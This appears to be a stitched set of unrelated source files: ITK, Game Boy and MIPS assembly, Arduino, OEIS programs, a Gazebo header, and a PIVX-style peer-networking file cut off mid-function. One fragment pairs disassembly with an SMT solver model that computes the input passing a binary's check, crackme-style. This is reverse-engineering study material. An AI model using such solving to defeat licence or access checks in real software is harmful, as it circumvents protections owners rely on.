fftK = ForwardFFTType::New(); fftK->SetInput(kernel); fftK->SetNumberOfThreads( this->GetNumberOfThreads() ); fftK->Update(); // Inverse typedef itk::DivideImageFilter<FFTOutputImageType, FFTOutputImageType, FFTOutputImageType> DivideType; typename DivideType::Pointer div = DivideType::New(); div->SetConstant1(1.); div->SetInput(1, fftK->GetOutput() ); div->SetNumberOfThreads( this->GetNumberOfThreads() ); div->Update(); this->m_KernelFFT = div->GetOutput(); this->m_KernelFFT->DisconnectPipeline(); } } // end namespace rtk #endif
; How shold be ; INCLUDE "src/constants/index.asm" ; INCLUDE "src/core/index.asm" ; INCLUDE "src/data/index.asm" ; INCLUDE "src/game_logic/index.asm" ; INCLUDE "src/graphics/index.asm" ; INCLUDE "src/utils/utils.asm" ; How VSCode plugin understands INCLUDE "src/constants/hardware.inc" INCLUDE "src/core/header.asm" INCLUDE "src/core/interrupts.asm" INCLUDE "src/core/input.asm" INCLUDE "src/data/dialogs.asm" INCLUDE "src/data/font.asm" INCLUDE "src/data/grid.asm" INCLUDE "src/data/scoreboard.asm" INCLUDE "src/data/wram.asm" INCLUDE "src/game_logic/connection.asm" INCLUDE "src/game_logic/grid_actions.asm" INCLUDE "src/game_logic/init.asm" INCLUDE "src/game_logic/logic.asm" INCLUDE "src/graphics/assets.asm" INCLUDE "src/graphics/cursor.asm" INCLUDE "src/graphics/dialogs.asm" INCLUDE "src/graphics/grid.asm" INCLUDE "src/graphics/lcd_control.asm" INCLUDE "src/graphics/scoreboard.asm" INCLUDE "src/utils/utils.asm" INCLUDE "src/utils/serial.asm"
/* * Copyright 2011 Nate Koenig & Andrew Howard * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #ifndef GAZEBO_GUI_HH #define GAZEBO_GUI_HH #include <string> #include "rendering/Rendering.hh" namespace gazebo { namespace gui { bool run(int _argc, char **_argv); void stop(); void set_world(const std::string& _name); std::string get_world(); void set_active_camera(rendering::UserCameraPtr _cam); rendering::UserCameraPtr get_active_camera(); void clear_active_camera(); unsigned int get_entity_id(const std::string &_name); bool has_entity_name(const std::string &_name); } } #endif
/* --------------------------- # AnalogtoDigital library # --------------------------- Library to convert analog pins to digital pins Arduino/ATMEGA328P-PU pin A0 = 14 pin A1 = 15 pin A2 = 16 pin A3 = 17 pin A4 = 18 (excluded) --> I2C SDA pin A5 = 19 (excluded) --> I2C SCL */ #include "AnalogtoDigital.h" #include "Arduino.h" AnalogtoDigital::AnalogtoDigital() {} void AnalogtoDigital::Convert_All() { int NPin[] = {14, 15, 16, 17}; int limit = (sizeof(NPin) / sizeof(NPin[0])); for (int NPins = 0; NPins < limit; NPins++) { pinMode(NPin[NPins], OUTPUT); digitalWrite(NPin[NPins], LOW); } } void AnalogtoDigital::Select_Pin(byte pin1, byte pin2, byte pin3, byte pin4) { _pin1 = pin1; _pin2 = pin2; _pin3 = pin3; _pin4 = pin4; int NPin[] = {14, 15, 16, 17}; if (_pin1 == 14 || _pin1 == 1) { pinMode(NPin[0], OUTPUT); digitalWrite(NPin[0], LOW); } if (_pin2 == 15 || _pin2 == 1) { pinMode(NPin[1], OUTPUT); digitalWrite(NPin[1], LOW); } if (_pin3 == 16 || _pin3 == 1) { pinMode(NPin[2], OUTPUT); digitalWrite(NPin[2], LOW); } if (_pin4 == 17 || _pin4 == 1) { pinMode(NPin[3], OUTPUT); digitalWrite(NPin[3], LOW); } } /* if (_pin1 > 1) _pin1 = 1; if (_pin2 > 1) _pin2 = 1; if (_pin3 > 1) _pin3 = 1; if (_pin4 > 1) _pin4 = 1; if (_pin1 != 0) { pinMode(14, OUTPUT); digitalWrite(14, LOW); } if (_pin2 != 0) { pinMode(15, OUTPUT); digitalWrite(15, LOW); } if (_pin3 != 0) { pinMode(16, OUTPUT); digitalWrite(16, LOW); } if (_pin4 != 0) { pinMode(17, OUTPUT); digitalWrite(17, LOW); } } */ void AnalogtoDigital::N_Pins(byte numpin) { _numpin = numpin; if (_numpin > 4) _numpin = 4; int NPin[] = {14, 15, 16, 17}; for (int Npins = 0; Npins < _numpin; Npins++) { pinMode(NPin[Npins], OUTPUT); digitalWrite(NPin[Npins], LOW); } }
; A070478: a(n) = n^3 mod 16. ; 0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9,8,3,0,5,8,15,0,1,8,11,0,13,8,7,0,9 pow $0,3 mov $1,$0 mod $1,16
.data str1: .asciiz "Introduza um numero: " str2: .asciiz "\nO valor em bin'ario e': " .eqv print_str, 4 .eqv read_int, 5 .eqv print_char, 11 .text .globl main main: ori $t0, $0, 0 # value ori $t1, $0, 0 # bit ori $t2, $0, 0 # i ori $v0, $0, print_str la $a0, str1 syscall ori $v0, $0, read_int syscall or $t0, $0, $v0 ori $v0, $0, print_str la $a0, str2 syscall for: bge $t2, 32, end # controla o ciclo andi $t1, $t0, 0x80000000 # isola o bit sll $t0, $t0, 1 # shif left de 1 bit rem $t3, $t2, 4 # i % 4 addi $t2, $t2, 1 # incrementa i beq $t3, $0, if_4al # se i % 4 == 0, print ' ' if: beq $t1, $0, else ori $v0, $0, print_char ori $a0, $0, '1' syscall j for else: ori $v0, $0, print_char ori $a0, $0, '0' syscall j for if_4al: ori $v0, $0, print_char ori $a0, $0, ' ' syscall j if end: jr $ra
; A135182: p^5 + p^3 + p^2. Exponents are prime numbers and p = prime(n). ; 44,279,3275,17199,162503,373659,1425059,2483319,6449039,20536379,28659903,69395979,115926803,147089799,229451039,418347179,715133159,844827003,1350430359,1804592303,2073465939,3077555679,3939619319,5584772339,8588262339,10511141003,11593844079,14026753799,15387546459,18425807459,33040433919,38581754903,48264314579,51891549639,73443105899,78506191503,95392887099,115067974359,129896670959,154969099739,183771764279,194270207403,254201906303,267792410499,296716964939,312087521199,418236640503 seq $0,40 ; The prime numbers. seq $0,133073 ; a(n) = n^5 + n^3 + n^2.
mov eax,DWORD PTR [rbp-0x10] cmp eax,DWORD PTR [rbp-0xc] jae 0x400a67 cmp DWORD PTR [rbp-0x10],0x0 je 0x400a5b mov edx,DWORD PTR [rbp-0x10] mov eax,edx add eax,eax add eax,edx mov DWORD PTR [rbp-0x8],eax mov eax,DWORD PTR [rbp-0xc] not eax mov DWORD PTR [rbp-0x4],eax mov edx,DWORD PTR [rbp-0x4] mov eax,DWORD PTR [rbp-0x8] add eax,edx cmp eax,0x42 jne 0x400a4f mov edi,0x4879cf call _puts sat (model (define-fun b () (_ BitVec 32) #x3f33dfaf) (define-fun a () (_ BitVec 32) #x15114aa6) (define-fun d () (_ BitVec 32) #xc0cc2050) (define-fun c () (_ BitVec 32) #x3f33dff2) ) 2A22954C
// Copyright (c) 2009-2010 Satoshi Nakamoto // Copyright (c) 2009-2016 The Bitcoin Core developers // Copyright (c) 2015-2020 The PIVX developers // Copyright (c) 2021 The INFINCOIN CASH developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "net_processing.h" #include "budget/budgetmanager.h" #include "chain.h" #include "masternodeman.h" #include "masternode-payments.h" #include "masternode-sync.h" #include "merkleblock.h" #include "netbase.h" #include "netmessagemaker.h" #include "primitives/block.h" #include "primitives/transaction.h" #include "sporkdb.h" int64_t nTimeBestReceived = 0; // Used only to inform the wallet of when we last received a block static const uint64_t RANDOMIZER_ID_ADDRESS_RELAY = 0x3cac0035b5866b90ULL; // SHA256("main address relay")[0:8] struct COrphanTx { CTransactionRef tx; NodeId fromPeer; }; std::map<uint256, COrphanTx> mapOrphanTransactions GUARDED_BY(cs_main); std::map<uint256, std::set<uint256> > mapOrphanTransactionsByPrev GUARDED_BY(cs_main); void EraseOrphansFor(NodeId peer) EXCLUSIVE_LOCKS_REQUIRED(cs_main); // Internal stuff namespace { /** Number of nodes with fSyncStarted. */ int nSyncStarted = 0; /** * Sources of received blocks, to be able to send them reject messages or ban * them, if processing happens afterwards. Protected by cs_main. */ std::map<uint256, NodeId> mapBlockSource; /** * Filter for transactions that were recently rejected by * AcceptToMemoryPool. These are not rerequested until the chain tip * changes, at which point the entire filter is reset. Protected by * cs_main. * * Without this filter we'd be re-requesting txs from each of our peers, * increasing bandwidth consumption considerably. For instance, with 100 * peers, half of which relay a tx we don't accept, that might be a 50x * bandwidth increase. A flooding attacker attempting to roll-over the * filter using minimum-sized, 60byte, transactions might manage to send * 1000/sec if we have fast peers, so we pick 120,000 to give our peers a * two minute window to send invs to us. * * Decreasing the false positive rate is fairly cheap, so we pick one in a * million to make it highly unlikely for users to have issues with this * filter. * * Memory used: 1.3MB */ std::unique_ptr<CRollingBloomFilter> recentRejects; uint256 hashRecentRejectsChainTip; /** Blocks that are in flight, and that are in the queue to be downloaded. Protected by cs_main. */ struct QueuedBlock { uint256 hash; const CBlockIndex* pindex; //! Optional. int64_t nTime; //! Time of "getdata" request in microseconds. int nValidatedQueuedBefore; //! Number of blocks queued with validated headers (globally) at the time this one is requested. bool fValidatedHeaders; //! Whether this block has validated headers at the time of request. }; std::map<uint256, std::pair<NodeId, std::list<QueuedBlock>::iterator> > mapBlocksInFlight; /** Number of blocks in flight with validated headers. */ int nQueuedValidatedHeaders = 0; /** Number of preferable block download peers. */ int nPreferredDownload = 0; } // anon namespace ////////////////////////////////////////////////////////////////////////////// // // Registration of network node signals. // namespace { struct CBlockReject { unsigned char chRejectCode; std::string strRejectReason; uint256 hashBlock; }; class CNodeBlocks { public: CNodeBlocks(): maxSize(0), maxAvg(0) { maxSize = gArgs.GetArg("-blockspamfiltermaxsize", DEFAULT_BLOCK_SPAM_FILTER_MAX_SIZE); maxAvg = gArgs.GetArg("-blockspamfiltermaxavg", DEFAULT_BLOCK_SPAM_FILTER_MAX_AVG); } bool onBlockReceived(int nHeight) { if(nHeight > 0 && maxSize && maxAvg) { addPoint(nHeight); return true; } return false; } bool updateState(CValidationState& state, bool ret) { // No Blocks size_t size = points.size(); if(size == 0) return ret; // Compute the number of the received blocks size_t nBlocks = 0; for(auto point : points) { nBlocks += point.second; } // Compute the average value per height double nAvgValue = (double)nBlocks / size; // Ban the node if try to spam bool banNode = (nAvgValue >= 1.5 * maxAvg && size >= maxAvg) || (nAvgValue >= maxAvg && nBlocks >= maxSize) || (nBlocks >= maxSize * 3); if(banNode) { // Clear the points and ban the node points.clear(); return state.DoS(100, error("block-spam ban node for sending spam")); } return ret; } private: void addPoint(int height) { // Remove the last element in the list if(points.size() == maxSize) { points.erase(points.begin()); } // Add the point to the list int occurrence = 0; auto mi = points.find(height); if (mi != points.end()) occurrence = (*mi).second; occurrence++; points[height] = occurrence; } private: std::map<int,int> points; size_t maxSize; size_t maxAvg; }; /** * Maintain validation-specific state about nodes, protected by cs_main, instead * by CNode's own locks. This simplifies asynchronous operation, where * processing of incoming data is done after the ProcessMessage call returns, * and we're no longer holding the node's locks. */ struct CNodeState { //! The peer's address const CService address; //! Whether we have a fully established connection. bool fCurrentlyConnected; //! Accumulated misbehaviour score for this peer. int nMisbehavior; //! Whether this peer should be disconnected and banned (unless whitelisted). bool fShouldBan; //! String name of this peer (debugging/logging purposes). const std::string name; //! List of asynchronously-determined block rejections to notify this peer about. std::vector<CBlockReject> rejects; //! The best known block we know this peer has announced. const CBlockIndex* pindexBestKnownBlock; //! The hash of the last unknown block this peer has announced. uint256 hashLastUnknownBlock; //! The last full block we both have. const CBlockIndex* pindexLastCommonBlock; //! Whether we've started headers synchronization with this peer. bool fSyncStarted; //! Since when we're stalling block download progress (in microseconds), or 0. int64_t nStallingSince; std::list<QueuedBlock> vBlocksInFlight; int nBlocksInFlight; //! Whether we consider this a preferred download peer. bool fPreferredDownload; CNodeBlocks nodeBlocks; CNodeState(CAddress addrIn, std::string addrNameIn) : address(addrIn), name(addrNameIn) { fCurrentlyConnected = false; nMisbehavior = 0; fShouldBan = false; pindexBestKnownBlock = NULL; hashLastUnknownBlock.SetNull(); pindexLastCommonBlock = NULL; fSyncStarted = false; nStallingSince = 0; nBlocksInFlight = 0; fPreferredDownload = false; } }; /** Map maintaining per-node state. Requires cs_main. */ std::map<NodeId, CNodeState> mapNodeState; // Requires cs_main. CNodeState* State(NodeId pnode) { std::map<NodeId, CNodeState>::iterator it = mapNodeState.find(pnode); if (it == mapNodeState.end()) return NULL; return &it->second; } void UpdatePreferredDownload(CNode* node, CNodeState* state) { nPreferredDownload -= state->fPreferredDownload; // Whether this node should be marked as a preferred download node. state->fPreferredDownload = (!node->fInbound || node->fWhitelisted) && !node->fOneShot && !node->fClient; nPreferredDownload += state->fPreferredDownload; } void PushNodeVersion(CNode* pnode, CConnman& connman, int64_t nTime) { ServiceFlags nLocalNodeServices = pnode->GetLocalServices(); uint64_t nonce = pnode->GetLocalNonce(); int nNodeStartingHeight = pnode->GetMyStartingHeight(); NodeId nodeid = pnode->GetId(); CAddress addr = pnode->addr; CAddress addrYou = (addr.IsRoutable() && !IsProxy(addr) ? addr : CAddress(CService(), addr.nServices)); CAddress addrMe = CAddress(CService(), nLocalNodeServices); connman.PushMessage(pnode, CNetMsgMaker(INIT_PROTO_VERSION).Make(NetMsgType::VERSION, PROTOCOL_VERSION, (uint64_t)nLocalNodeServices, nTime, addrYou, addrMe, nonce, strSubVersion, nNodeStartingHeight, true)); if (fLogIPs) LogPrint(BCLog::NET, "send version message: version %d, blocks=%d, us=%s, them=%s, peer=%d\n", PROTOCOL_VERSION, nNodeStartingHeight, addrMe.ToString(), addrYou.ToString(), nodeid); else LogPrint(BCLog::NET, "send version message: version %d, blocks=%d, us=%s, peer=%d\n", PROTOCOL_VERSION, nNodeStartingHeight, addrMe.ToString(), nodeid); } void InitializeNode(CNode *pnode, CConnman& connman) { CAddress addr = pnode->addr; std::string addrName = pnode->GetAddrName(); NodeId nodeid = pnode->GetId(); { LOCK(cs_main); mapNodeState.emplace_hint(mapNodeState.end(), std::piecewise_construct, std::forward_as_tuple(nodeid), std::forward_as_tuple(addr, std::move(addrName))); } if(!pnode->fInbound) PushNodeVersion(pnode, connman, GetTime()); } void FinalizeNode(NodeId nodeid, bool& fUpdateConnectionTime) { fUpdateConnectionTime = false; LOCK(cs_main); CNodeState* state = State(nodeid); if (state->fSyncStarted) nSyncStarted--; if (state->nMisbehavior == 0 && state->fCurrentlyConnected) { fUpdateConnectionTime = true; } for (const QueuedBlock& entry : state->vBlocksInFlight) mapBlocksInFlight.erase(entry.hash); EraseOrphansFor(nodeid); nPreferredDownload -= state->fPreferredDownload; mapNodeState.erase(nodeid); } // Requires cs_main. void MarkBlockAsReceived(const uint256& hash) { std::map<uint256, std::pair<NodeId, std::list<QueuedBlock>::iterator> >::iterator itInFlight = mapBlocksInFlight.find(hash); if (itInFlight != mapBlocksInFlight.end()) { CNodeState* state = State(itInFlight->second.first); nQueuedValidatedHeaders -= itInFlight->second.second->fValidatedHeaders; state->vBlocksInFlight.erase(itInFlight->second.second); state->nBlocksInFlight--; state->nStallingSince = 0; mapBlocksInFlight.erase(itInFlight); } } // Requires cs_main. void MarkBlockAsInFlight(NodeId nodeid, const uint256& hash, const CBlockIndex* pindex = nullptr) { CNodeState* state = State(nodeid); assert(state != NULL); // Make sure it's not listed somewhere already. MarkBlockAsReceived(hash); QueuedBlock newentry = {hash, pindex, GetTimeMicros(), nQueuedValidatedHeaders, pindex != NULL}; nQueuedValidatedHeaders += newentry.fValidatedHeaders; std::list<QueuedBlock>::iterator it = state->vBlocksInFlight.insert(state->vBlocksInFlight.end(), newentry); state->nBlocksInFlight++; mapBlocksInFlight[hash] = std::make_pair(nodeid, it); } /** Check whether the last unknown block a peer advertised is not yet known. */ void ProcessBlockAvailability(NodeId nodeid) { CNodeState* state = State(nodeid); assert(state != NULL); if (!state->hashLastUnknownBlock.IsNull()) { BlockMap::iterator itOld = mapBlockIndex.find(state->hashLastUnknownBlock); if (itOld != mapBlockIndex.end() && itOld->second->nChainWork > 0) { if (state->pindexBestKnownBlock == NULL || itOld->second->nChainWork >= state->pindexBestKnownBlock->nChainWork) state->pindexBestKnownBlock = itOld->second; state->hashLastUnknownBlock.SetNull(); } } } /** Update tracking information about which blocks a peer is assumed to have. */ void UpdateBlockAvailability(NodeId nodeid, const uint256& hash) { CNodeState* state = State(nodeid); assert(state != NULL); ProcessBlockAvailability(nodeid); BlockMap::iterator it = mapBlockIndex.find(hash); if (it != mapBlockIndex.end() && it->second->nChainWork > 0) { // An actually better block was announced. if (state->pindexBestKnownBlock == NULL || it->second->nChainWork >= state->pindexBestKnownBlock->nChainWork) state->pindexBestKnownBlock = it->second; } else { // An unknown block was announced; just assume that the latest one is the best one. state->hashLastUnknownBlock = hash; } } /** Update pindexLastCommonBlock and add not-in-flight missing successors to vBlocks, until it has * at most count entries. */ void FindNextBlocksToDownload(NodeId nodeid, unsigned int count, std::vector<const CBlockIndex*>& vBlocks, NodeId& nodeStaller) { if (count == 0) return; vBlocks.reserve(vBlocks.size() + count); CNodeState* state = State(nodeid); assert(state != NULL); // Make sure pindexBestKnownBlock is up to date, we'll need it. ProcessBlockAvailability(nodeid); if (state->pindexBestKnownBlock == NULL || state->pindexBestKnownBlock->nChainWork < chainActive.Tip()->nChainWork) { // This peer has nothing interesting. return; } if (state->pindexLastCommonBlock == NULL) { // Bootstrap quickly by guessing a parent of our best tip is the forking point. // Guessing wrong in either direction is not a problem. state->pindexLastCommonBlock = chainActive[std::min(state->pindexBestKnownBlock->nHeight, chainActive.Height())]; } // If the peer reorganized, our previous pindexLastCommonBlock may not be an ancestor // of their current tip anymore. Go back enough to fix that. state->pindexLastCommonBlock = LastCommonAncestor(state->pindexLastCommonBlock, state->pindexBestKnownBlock); if (state->pindexLastCommonBlock == state->pindexBestKnownBlock) return; std::vector<const CBlockIndex*> vToFetch; const CBlockIndex* pindexWalk = state->pindexLastCommonBlock; // Never fetch further than the best block we know the peer has, or more than BLOCK_DOWNLOAD_WINDOW + 1 beyond the last // linked block we have in common with this peer. The +1 is so we can detect stalling, namely if we would be able to // download that next block if the window were 1 larger. int nWindowEnd = state->pindexLastCommonBlock->nHeight + BLOCK_DOWNLOAD_WINDOW; int nMaxHeight = std::min<int>(state->pindexBestKnownBlock->nHeight, nWindowEnd + 1); NodeId waitingfor = -1; while (pindexWalk->nHeight < nMaxHeight) { // Read up to 128 (or more, if more blocks than that are needed) successors of pindexWalk (towards // pindexBestKnownBlock) into vToFetch. We fetch 128, because CBlockIndex::GetAncestor may be as expensive // as iterating over ~100 CBlockIndex* entries anyway. int nToFetch = std::min(nMaxHeight - pindexWalk->nHeight, std::max<int>(count - vBlocks.size(), 128)); vToFetch.resize(nToFetch); pindexWalk = state->pindexBestKnownBlock->GetAncestor(pindexWalk->nHeight + nToFetch); vToFetch[nToFetch - 1] = pindexWalk; for (unsigned int i = nToFetch - 1; i > 0; i--) { vToFetch[i - 1] = vToFetch[i]->pprev; } // Iterate over those blocks in vToFetch (in forward direction), adding the ones that // are not yet downloaded and not in flight to vBlocks. In the mean time, update // pindexLastCommonBlock as long as all ancestors are already downloaded. for (const CBlockIndex* pindex : vToFetch) { if (!pindex->IsValid(BLOCK_VALID_TREE)) { // We consider the chain that this peer is on invalid. return; } if (pindex->nStatus & BLOCK_HAVE_DATA) { if (pindex->nChainTx) state->pindexLastCommonBlock = pindex; } else if (mapBlocksInFlight.count(pindex->GetBlockHash()) == 0) { // The block is not already downloaded, and not yet in flight. if (pindex->nHeight > nWindowEnd) { // We reached the end of the window. if (vBlocks.size() == 0 && waitingfor != nodeid) { // We aren't able to fetch anything, but we would be if the download window was one larger. nodeStaller = waitingfor; } return; } vBlocks.push_back(pindex); if (vBlocks.size() == count) { return; } } else if (waitingfor == -1) { // This is the first already-in-flight block. waitingfor = mapBlocksInFlight[pindex->GetBlockHash()].first; } } } } } // anon namespace bool GetNodeStateStats(NodeId nodeid, CNodeStateStats& stats) { LOCK(cs_main); CNodeState* state = State(nodeid); if (state == NULL) return false; stats.nMisbehavior = state->nMisbehavior; stats.nSyncHeight = state->pindexBestKnownBlock ? state->pindexBestKnownBlock->nHeight : -1; stats.nCommonHeight = state->pindexLastCommonBlock ? state->pindexLastCommonBlock->nHeight : -1; for (const QueuedBlock& queue : state->vBlocksInFlight) { if (queue.pindex) stats.vHeightInFlight.push_back(queue.pindex->nHeight); } return true; } void RegisterNodeSignals(CNodeSignals& nodeSignals) { nodeSignals.ProcessMessages.connect(&ProcessMessages); nodeSignals.SendMessages.connect(&SendMessages); nodeSignals.InitializeNode.connect(&InitializeNode); nodeSignals.FinalizeNode.connect(&FinalizeNode); } void UnregisterNodeSignals(CNodeSignals& nodeSignals) { nodeSignals.ProcessMessages.disconnect(&ProcessMessages); nodeSignals.SendMessages.disconnect(&SendMessages); nodeSignals.InitializeNode.disconnect(&InitializeNode); nodeSignals.FinalizeNode.disconnect(&FinalizeNode); } ////////////////////////////////////////////////////////////////////////////// // // mapOrphanTransactions // bool AddOrphanTx(const CTransactionRef& tx, NodeId peer) EXCLUSIVE_LOCKS_REQUIRED(cs_main) { const uint256& hash = tx->GetHash(); if (mapOrphanTransactions.count(hash)) return false; // Ignore big transactions, to avoid a // send-big-orphans memory exhaustion attack. If a peer has a legitimate // large transaction with a missing parent then we assume // it will rebroadcast it later, after the parent transaction(s) // have been mined or received. // 10,000 orphans, each of which is at most 5,000 bytes big is // at most 500 megabytes of orphans: unsigned int sz = tx->GetTotalSize(); if (sz > 5000) { LogPrint(BCLog::MEMPOOL, "ignoring large orphan tx (size: %u, hash: %s)\n", sz, hash.ToString()); return false; } auto ret = mapOrphanTransactions.emplace(hash, COrphanTx{tx, peer}); assert(ret.second); for (const CTxIn& txin : tx->vin) mapOrphanTransactionsByPrev[txin.prevout.hash].insert(hash); LogPrint(BCLog::MEMPOOL, "stored orphan tx %s (mapsz %u prevsz %u)\n", hash.ToString(), mapOrphanTransactions.size(), mapOrphanTransactionsByPrev.size()); return true; } void static EraseOrphanTx(uint256 hash) EXCLUSIVE_LOCKS_REQUIRED(cs_main) { std::map<uint256, COrphanTx>::iterator it = mapOrphanTransactions.find(hash); if (it == mapOrphanTransactions.end()) return; for (const CTxIn& txin : it->second.tx->vin) { std::map<uint256, std::set<uint256> >::iterator itPrev = mapOrphanTransactionsByPrev.find(txin.prevout.hash); if (itPrev == mapOrphanTransactionsByPrev.end()) continue; itPrev->second.erase(hash); if (itPrev->second.empty()) mapOrphanTransactionsByPrev.erase(itPrev); } mapOrphanTransactions.erase(it); } void EraseOrphansFor(NodeId peer) EXCLUSIVE_LOCKS_REQUIRED(cs_main) { int nErased = 0; std::map<uint256, COrphanTx>::iterator iter = mapOrphanTransactions.begin(); while (iter != mapOrphanTransactions.end()) { std::map<uint256, COrphanTx>::iterator maybeErase = iter++; // increment to avoid iterator becoming invalid if (maybeErase->second.fromPeer == peer) { EraseOrphanTx(maybeErase->second.tx->GetHash()); ++nErased; } } if (nErased > 0) LogPrint(BCLog::MEMPOOL, "Erased %d orphan tx from peer %d\n", nErased, peer); } unsigned int LimitOrphanTxSize(unsigned int nMaxOrphans) EXCLUSIVE_LOCKS_REQUIRED(cs_main) { unsigned int nEvicted = 0; while (mapOrphanTransactions.size() > nMaxOrphans) { // Evict a random orphan: uint256 randomhash = GetRandHash(); std::map<uint256, COrphanTx>::iterator it = mapOrphanTransactions.lower_bound(randomhash); if (it == mapOrphanTransactions.end()) it = mapOrphanTransactions.begin(); EraseOrphanTx(it->first); ++nEvicted; } return nEvicted; } // Requires cs_main. void Misbehaving(NodeId pnode, int howmuch) EXCLUSIVE_LOCKS_REQUIRED(cs_main) { if (howmuch == 0) return; CNodeState* state = State(pnode); if (state == NULL) return; state->nMisbehavior += howmuch; int banscore = gArgs.GetArg("-banscore", DEFAULT_BANSCORE_THRESHOLD); if (state->nMisbehavior >= banscore && state->nMisbehavior - howmuch < banscore) { LogPrintf("Misbehaving: %s (%d -> %d) BAN THRESHOLD EXCEEDED\n", state->name, state->nMisbehavior - howmuch, state->nMisbehavior); state->fShouldBan = true; } else LogPrintf("Misbehaving: %s (%d -> %d)\n", state->name, state->nMisbehavior - howmuch, state->nMisbehavior); } ////////////////////////////////////////////////////////////////////////////// // // blockchain -> download logic notification // PeerLogicValidation::PeerLogicValidation(CConnman* connmanIn) : connman(connmanIn) { // Initialize global variables that cannot be constructed at startup. recentRejects.reset(new CRollingBloomFilter(120000, 0.000001)); } void PeerLogicValidation::UpdatedBlockTip(const CBlockIndex* pindexNew, const CBlockIndex* pindexFork, bool fInitialDownload) { const int nNewHeight = pindexNew->nHeight; connman->SetBestHeight(nNewHeight); if (!fInitialDownload) { const uint256& hashNewTip = pindexNew->GetBlockHash(); // Relay inventory, but don't relay old inventory during initial block download. connman->ForEachNode([nNewHeight, hashNewTip](CNode* pnode) { if (nNewHeight > (pnode->nStartingHeight != -1 ? pnode->nStartingHeight - 2000 : 0)) { pnode->PushInventory(CInv(MSG_BLOCK, hashNewTip)); } }); } nTimeBestReceived = GetTime(); } void PeerLogicValidation::BlockChecked(const CBlock& block, const CValidationState& state) { LOCK(cs_main); const uint256& hash = block.GetHash(); std::map<uint256, NodeId>::iterator it = mapBlockSource.find(hash); int nDoS = 0; if (state.IsInvalid(nDoS)) { if (it != mapBlockSource.end() && State(it->second)) { assert (state.GetRejectCode() < REJECT_INTERNAL); // Blocks are never rejected with internal reject codes CBlockReject reject = {(unsigned char) state.GetRejectCode(), state.GetRejectReason().substr(0, MAX_REJECT_MESSAGE_LENGTH), hash}; State(it->second)->rejects.push_back(reject); if (nDoS > 0) { Misbehaving(it->second, nDoS); } } } if (it != mapBlockSource.end()) mapBlockSource.erase(it); } ////////////////////////////////////////////////////////////////////////////// // // Messages // bool static AlreadyHave(const CInv& inv) EXCLUSIVE_LOCKS_REQUIRED(cs_main) { switch (inv.type) { case MSG_TX: { assert(recentRejects); if (chainActive.Tip()->GetBlockHash() != hashRecentRejectsChainTip) { // If the chain tip has changed previously rejected transactions // might be now valid, e.g. due to a nLockTime'd tx becoming valid, // or a double-spend. Reset the rejects filter and give those // txs a second chance. hashRecentRejectsChainTip = chainActive.Tip()->GetBlockHash(); recentRejects->reset(); } return recentRejects->contains(inv.hash) || mempool.exists(inv.hash) || mapOrphanTransactions.count(inv.hash) || pcoinsTip->HaveCoinInCache(COutPoint(inv.hash, 0)) || // Best effort: only try output 0 and 1 pcoinsTip->HaveCoinInCache(COutPoint(inv.hash, 1)); } case MSG_BLOCK: return mapBlockIndex.count(inv.hash); case MSG_TXLOCK_REQUEST: // deprecated return true; case MSG_TXLOCK_VOTE: // deprecated return true; case MSG_SPORK: return mapSporks.count(inv.hash); case MSG_MASTERNODE_WINNER: if (masternodePayments.mapMasternodePayeeVotes.count(inv.hash)) { masternodeSync.AddedMasternodeWinner(inv.hash); return true; } return false; case MSG_BUDGET_VOTE: if (g_budgetman.HaveSeenProposalVote(inv.hash)) { masternodeSync.AddedBudgetItem(inv.hash); return true; } return false; case MSG_BUDGET_PROPOSAL: if (g_budgetman.HaveProposal(inv.hash)) { masternodeSync.AddedBudgetItem(inv.hash); return true; } return false; case MSG_BUDGET_FINALIZED_VOTE: if (g_budgetman.HaveSeenFinalizedBudgetVote(inv.hash)) { masternodeSync.AddedBudgetItem(inv.hash); return true; } return false; case MSG_BUDGET_FINALIZED: if (g_budgetman.HaveFinalizedBudget(inv.hash)) { masternodeSync.AddedBudgetItem(inv.hash); return true; } return false; case MSG_MASTERNODE_ANNOUNCE: if (mnodeman.mapSeenMasternodeBroadcast.count(inv.hash)) { masternodeSync.AddedMasternodeList(inv.hash); return true; } return false; case MSG_MASTERNODE_PING: return mnodeman.mapSeenMasternodePing.count(inv.hash); } // Don't know what it is, just say we already got one return true; } static void RelayTransaction(const CTransaction& tx, CConnman& connman) { CInv inv(MSG_TX, tx.GetHash()); connman.ForEachNode([&inv](CNode* pnode) { pnode->PushInventory(inv); }); } static void RelayAddress(const CAddress& addr, bool fReachable, CConnman& connman) { int nRelayNodes = fReachable ? 2 : 1; // limited relaying of addresses outside our network(s) // Relay to a limited number of other nodes // Use deterministic randomness to send to the same nodes for 24 hours // at a time so the addrKnowns of the chosen nodes prevent repeats uint64_t hashAddr = addr.GetHash(); std::multimap<uint64_t, CNode*> mapMix; const CSipHasher hasher = connman.GetDeterministicRandomizer(RANDOMIZER_ID_ADDRESS_RELAY).Write(hashAddr << 32).Write((GetTime() + hashAddr) / (24*60*60)); auto sortfunc = [&mapMix, &hasher](CNode* pnode) { if (pnode->nVersion >= CADDR_TIME_VERSION) { uint64_t hashKey = CSipHasher(hasher).Write(pnode->id).Finalize(); mapMix.emplace(hashKey, pnode); } }; auto pushfunc = [&addr, &mapMix, &nRelayNodes] { FastRandomContext 